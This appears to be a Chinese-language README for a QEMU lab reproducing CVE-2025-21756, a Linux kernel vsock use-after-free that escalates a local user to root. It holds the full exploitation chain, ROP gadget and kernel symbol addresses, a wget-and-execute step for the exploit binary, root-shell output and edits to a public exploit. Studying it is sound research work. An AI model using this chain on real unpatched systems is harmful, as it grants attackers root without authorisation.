仅供教育和授权的安全研究目的使用。
CVE-2025-21756 是 Linux 内核 vsock(虚拟套接字)子系统中的一个 释放后使用(UAF) 漏洞,于 2025 年 2 月 26 日披露。它允许本地攻击者在受影响的 Linux 系统上将 权限提升至 root。
net/vmw_vsock/af_vsock.c该漏洞发生在 vsock 套接字的 传输重分配 过程中。触发序列如下:
vsock_create() 创建套接字时 refcnt=2,并将其插入未绑定列表transport->release() 调用 vsock_remove_bound(),但未检查套接字是否已被移至绑定列表,错误地递减了 refcntvsock_bind() 假定套接字仍处于未绑定列表,再次调用 _vsock_remove_bound()refcnt 过早归零 → vsock 对象在被引用时被释放 → UAFvoid vsock_remove_sock(struct vsock_sock *vsk)
{
- vsock_remove_bound(vsk);
+ if (sock_flag(sk_vsock(vsk), SOCK_DEAD))
+ vsock_remove_bound(vsk);
vsock_remove_connected(vsk);
}
connect() 调用使用产生不同传输的 CID,导致 vsock 对象在仍链接于 vsock_bind_table 时被提前释放unix_dgram_sendmsg 以 order-2 消息(MIGRATE_UNMOVABLE)回收已释放页面,用可控数据填充vsock_diag_dump(不受 AppArmor 保护)作为侧信道检测页面何时被回收,并定位受害对象在页面内的确切偏移sk->sk_prot 覆盖为指向 udp_prot+0x1c0(udp_abort),当被调用时,会调用 sk->sk_error_report(sk),其指针被覆盖为栈转移 gadgetcommit_creds(init_cred) 为进程分配 root 凭证,随后通过 KPTI 蹦床返回用户空间execve("/bin/sh"),uid=0sudo 访问权限的普通用户# 下载设置脚本
wget -O setup-lab.sh <SCRIPT_URL>
chmod +x setup-lab.sh
# 以普通用户(非 root)身份运行
./setup-lab.sh
该脚本会自动处理:
sudo 不可用则安装build-essential、qemu-system-x86、bc、pahole 等)lts-6.6.75、rootfs、ramdisk)run_lab.sh 作为单一入口点cd ~/cve-2025-21756-lab
./run_lab.sh
环境启动后,在其中运行以下命令:
wget -O /tmp/exploit http://10.0.2.2:8080/exploit
chmod +x /tmp/exploit
/tmp/exploit
[*] Saved state
[+] KBASE @ 0xffffffff81000000
...
[END] SUCCESSFULLY FREED THE TARGET SLAB
...
[END] Found the correct offset! ROP pls
...
[*] I AM ROOT
# id
uid=0(root) gid=0(root) groups=0(root)
退出方式:Ctrl-A X
基础漏洞利用程序来自 ktranowl。已应用以下修改以使其在此环境中工作:
修改: 在内核启动参数中添加 nokaslr。
原因: 原始漏洞利用程序使用 EntryBleed(一种 TLB 时序侧信道技术)绕过 KASLR,这需要精确的 CPU 时序。在嵌套虚拟化环境中,rdtsc 精度不足以使 EntryBleed 可靠工作,会产生错误的 kbase,导致使用 ADDRESS() 计算的所有地址出错。禁用 KASLR 可确保内核始终加载在 0xffffffff81000000,且漏洞利用程序中的硬编码偏移始终正确。
user_rip 从 modeprobe_exec 更改为 check_rootexploit.c 中的修改:
// 之前
uint64_t user_rip = (uint64_t)modeprobe_exec;
// 之后
uint64_t user_rip = (uint64_t)check_root;
原因: modeprobe_exec 是原始漏洞利用程序用于远程 kCTF 环境的权限提升技术。它需要命令行参数(远程服务器的 IP 和端口)以及外部网络连接。缺少这些参数时,进程在尝试读取 argv[1] 时会因 GPF 崩溃。check_root 直接验证 uid 并执行 /bin/sh,这足以在本地环境中演示利用过程。
check_root 中移除 modeprobe_exec 调用exploit.c 中的修改:
void check_root() {
if (getuid() == 0) {
puts("[*] I AM ROOT");
- modeprobe_exec(); // 已移除
char binsh[] = "/bin/sh";
char* const argv[] = {binsh, NULL};
execve("/bin/sh", argv, 0);
}
}
原因: 即使 user_rip 指向 check_root,该函数在执行 /bin/sh 之前内部仍调用了 modeprobe_exec。由于缺少必需参数,该调用导致 GPF,进程在成功执行 commit_creds 提升权限后仍未能打开 shell 就终止了。
在实验环境设置过程中,所有内核符号和 ROP gadget 均与官方 kCTF lts-6.6.75 内核进行了验证,确认在此环境中有效。
用于漏洞利用程序的三个 gadget 使用 ROPgadget 从官方内核的 vmlinux 二进制文件中提取,并确认与硬编码值完全匹配:
| Gadget | 地址 | 用途 |
|---|---|---|
pop rax ; and eax, ... ; pop rsp ; jmp ... | 0xffffffff8122ad32 | 栈转移 — 将 RSP 移至可控 vsock 对象的起始位置 |
add rsp, 0xb8 ; jmp ... | 0xffffffff8170292c | 栈推进 — 跳过保留字段以到达 ROP 链 |
pop rdi ; ret | 0xffffffff8115e4f9 | 为 commit_creds(init_cred) 加载第一个参数 |
这些均无需修改。
以下符号已在内核内部的 /proc/kallsyms 中验证(启用 nokaslr 后,偏移固定):
| 符号 | 地址 | 备注 |
|---|---|---|
vsock_bind_table[0x7a] | 0xffffffff84bc6280 | 侧信道锚点 — 受害对象落入的 vsock 列表槽 |
init_net | 0xffffffff84bb1f80 | 用于通过 vsock_diag_dump 验证伪造的 vsock 对象 |
commit_creds | 0xffffffff811fdac0 | 为当前进程分配 root 凭证 |
init_cred | 0xffffffff83c74d80 | 凭证结构,uid=gid=0,与内核基地址有固定偏移 |
kpti_trampoline | 0xffffffff826011a6 | swapgs_restore_regs_and_return_to_usermode+0x36 — 恢复 CR3 并返回用户空间 |
address_contain_udp_abort | 0xffffffff83ef28e0 | udp_prot + 0x1c0 — 参见下方说明 |
所有值均与原始漏洞利用程序中的相同,无需修改。
address_contain_udp_abort 的说明该值并不直接指向 udp_abort 函数,而是指向 udp_prot + 0x1c0,即 struct proto 中的 diag_destroy 字段。这是有意为之:vsock_release 调用 sk->sk_prot->close(sk, 0),其中 close 是 struct proto 的偏移 0 处。通过将 sk_prot 指向 udp_prot->diag_destroy 而非 udp_prot 的起始处,内核将 diag_destroy 视作 close 指针来读取,其中包含 udp_abort。这进而链入 sk_error_report(sk) → sk->sk_error_report(sk),在其中放置栈转移 gadget。
vsock_release(sk)
└── sk->sk_prot->close(sk) ← sk_prot 指向 udp_prot+0x1c0
└── udp_abort(sk) ← diag_destroy 字段,作为 close() 读取
└── sk_error_report(sk)
└── sk->sk_error_report(sk) ← 栈转移 gadget
└── ROP 链
└── commit_creds(init_cred)
└── kpti_trampoline → root shell
| 方面 | 原始(ktranowl) | 本实验室 |
|---|---|---|
| KASLR 绕过 | EntryBleed(TLB 时序) | 已禁用(nokaslr) |
| 权限提升技术 | 通过 core_pattern 的 modeprobe_exec | 直接 execve("/bin/sh") |
| 目标环境 | 远程 kCTF | 本地 |
| 是否需要外部连接 | 是 | 否 |
官方补丁已可从内核 6.14-rc1 获取,并已向后移植至所有受维护的 LTS 分支。受影响的发行版已发布各自的安全公告:
本工具仅提供用于教育目的和授权的安全测试。未经授权用于您不拥有或未获得明确书面许可的系统是违法的。作者对任何滥用行为概不负责。